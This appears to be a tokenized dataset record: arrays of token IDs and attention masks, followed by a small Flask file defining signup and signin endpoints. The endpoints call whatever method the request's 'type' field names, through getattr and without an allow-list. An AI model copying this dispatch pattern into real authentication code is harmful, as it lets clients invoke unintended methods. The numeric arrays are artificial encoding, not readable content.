32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 646, 2467, 77, 63, 13799, 63, 3070, 199, 646, 2467, 77, 63, 3899, 63, 3070, 421, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
s2nner/py_test
api/v1.py
1
1300
from flask import Flask, Blueprint, request, jsonify from flask_restful import reqparse, abort, Api, Resource from api.auth import Signup, Signin parser = reqparse.RequestParser() # parser.add_argument('username', type=str, location='json') # json_data = request.get_json(force=True) API_VERSION_V1 = 1 API_VERSION = API_VERSION_V1 api_v1_bp = Blueprint('api_v1', __name__) api_v1 = Api(api_v1_bp) class AuthSignup(Resource): def post(self): # args = parser.parse_args() json_data = request.get_json(force=True) method = json_data['type'] auc = Signup() methodCall = getattr(auc, method, 0) if not methodCall: return {'error': 'Not method auth'}, 400 else: return methodCall(json_data['user'], json_data['pswd']) class AuthSignin(Resource): def post(self): # args = parser.parse_args() json_data = request.get_json(force=True) method = json_data['type'] auc = Signin() methodCall = getattr(auc, method, 0) if not methodCall: return {'error': 'Not method auth'}, 400 else: return methodCall(json_data['user'], json_data['pswd']) api_v1.add_resource(AuthSignup, '/auth/signup') api_v1.add_resource(AuthSignin, '/auth/signin')
mit
[ 504, 7209, 492, 16704, 12, 22447, 1361, 12, 1056, 12, 23819, 199, 504, 7209, 63, 3911, 1893, 492, 2648, 1122, 12, 12004, 12, 13986, 12, 7337, 199, 504, 2986, 14, 1178, 492, 6632, 384, 12, 6632, 262, 199, 199, 2087, 275, 2648, 1122, 14, 2017, 2842, 342, 199, 3, 1798, 14, 525, 63, 2094, 360, 2473, 297, 730, 29, 495, 12, 2909, 534, 1001, 358, 199, 3, 2022, 63, 576, 275, 1056, 14, 362, 63, 1001, 8, 3990, 29, 549, 9, 199, 199, 3735, 63, 4612, 63, 54, 17, 275, 413, 199, 3735, 63, 4612, 275, 3261, 63, 4612, 63, 54, 17, 199, 199, 1246, 63, 86, 17, 63, 10913, 275, 22447, 1361, 360, 1246, 63, 86, 17, 297, 636, 354, 3368, 199, 1246, 63, 86, 17, 275, 13986, 8, 1246, 63, 86, 17, 63, 10913, 9, 421, 199, 533, 3590, 4940, 384, 8, 4031, 304, 272, 347, 2963, 8, 277, 304, 267, 327, 1249, 275, 1798, 14, 1122, 63, 589, 342, 267, 2022, 63, 576, 275, 1056, 14, 362, 63, 1001, 8, 3990, 29, 549, 9, 267, 1083, 275, 2022, 63, 576, 459, 466, 418, 267, 282, 947, 275, 6632, 384, 342, 267, 1083, 2176, 275, 2519, 8, 19129, 12, 1083, 12, 378, 9, 267, 340, 440, 1083, 2176, 26, 288, 372, 791, 705, 356, 283, 1763, 1083, 1790, 2267, 8290, 267, 587, 26, 288, 372, 1083, 2176, 8, 1001, 63, 576, 459, 751, 995, 2022, 63, 576, 459, 1190, 2989, 1105, 199, 199, 533, 3590, 4940, 262, 8, 4031, 304, 272, 347, 2963, 8, 277, 304, 267, 327, 1249, 275, 1798, 14, 1122, 63, 589, 342, 267, 2022, 63, 576, 275, 1056, 14, 362, 63, 1001, 8, 3990, 29, 549, 9, 267, 1083, 275, 2022, 63, 576, 459, 466, 418, 267, 282, 947, 275, 6632, 262, 342, 267, 1083, 2176, 275, 2519, 8, 19129, 12, 1083, 12, 378, 9, 267, 340, 440, 1083, 2176, 26, 288, 372, 791, 705, 356, 283, 1763, 1083, 1790, 2267, 8290, 267, 587, 26, 288, 372, 1083, 2176, 8, 1001, 63, 576, 459, 751, 995, 2022, 63, 576, 459, 1190, 2989, 1105, 421, 199, 1246, 63, 86, 17, 14, 525, 63, 1927, 8, 2817, 4940, 384, 12, 1994, 1178, 15, 19799, 358, 199, 1246, 63, 86, 17, 14, 525, 63, 1927, 8, 2817, 4940, 262, 12, 1994, 1178, 15, 1037, 262, 358, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 7209, 492, 16704, 12, 22447, 1361, 12, 1056, 12, 23819, 199, 504, 7209, 63, 3911, 1893, 492, 2648, 1122, 12, 12004, 12, 13986, 12, 7337, 199, 504, 2986, 14, 1178, 492, 6632, 384, 12, 6632, 262, 199, 199, 2087, 275, 2648, 1122, 14, 2017, 2842, 342, 199, 3, 1798, 14, 525, 63, 2094, 360, 2473, 297, 730, 29, 495, 12, 2909, 534, 1001, 358, 199, 3, 2022, 63, 576, 275, 1056, 14, 362, 63, 1001, 8, 3990, 29, 549, 9, 199, 199, 3735, 63, 4612, 63, 54, 17, 275, 413, 199, 3735, 63, 4612, 275, 3261, 63, 4612, 63, 54, 17, 199, 199, 1246, 63, 86, 17, 63, 10913, 275, 22447, 1361, 360, 1246, 63, 86, 17, 297, 636, 354, 3368, 199, 1246, 63, 86, 17, 275, 13986, 8, 1246, 63, 86, 17, 63, 10913, 9, 421, 199, 533, 3590, 4940, 384, 8, 4031, 304, 272, 347, 2963, 8, 277, 304, 267, 327, 1249, 275, 1798, 14, 1122, 63, 589, 342, 267, 2022, 63, 576, 275, 1056, 14, 362, 63, 1001, 8, 3990, 29, 549, 9, 267, 1083, 275, 2022, 63, 576, 459, 466, 418, 267, 282, 947, 275, 6632, 384, 342, 267, 1083, 2176, 275, 2519, 8, 19129, 12, 1083, 12, 378, 9, 267, 340, 440, 1083, 2176, 26, 288, 372, 791, 705, 356, 283, 1763, 1083, 1790, 2267, 8290, 267, 587, 26, 288, 372, 1083, 2176, 8, 1001, 63, 576, 459, 751, 995, 2022, 63, 576, 459, 1190, 2989, 1105, 199, 199, 533, 3590, 4940, 262, 8, 4031, 304, 272, 347, 2963, 8, 277, 304, 267, 327, 1249, 275, 1798, 14, 1122, 63, 589, 342, 267, 2022, 63, 576, 275, 1056, 14, 362, 63, 1001, 8, 3990, 29, 549, 9, 267, 1083, 275, 2022, 63, 576, 459, 466, 418, 267, 282, 947, 275, 6632, 262, 342, 267, 1083, 2176, 275, 2519, 8, 19129, 12, 1083, 12, 378, 9, 267, 340, 440, 1083, 2176, 26, 288, 372, 791, 705, 356, 283, 1763, 1083, 1790, 2267, 8290, 267, 587, 26, 288, 372, 1083, 2176, 8, 1001, 63, 576, 459, 751, 995, 2022, 63, 576, 459, 1190, 2989, 1105, 421, 199, 1246, 63, 86, 17, 14, 525, 63, 1927, 8, 2817, 4940, 384, 12, 1994, 1178, 15, 19799, 358, 199, 1246, 63, 86, 17, 14, 525, 63, 1927, 8, 2817, 4940, 262, 12, 1994, 1178, 15, 1037, 262, 358, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
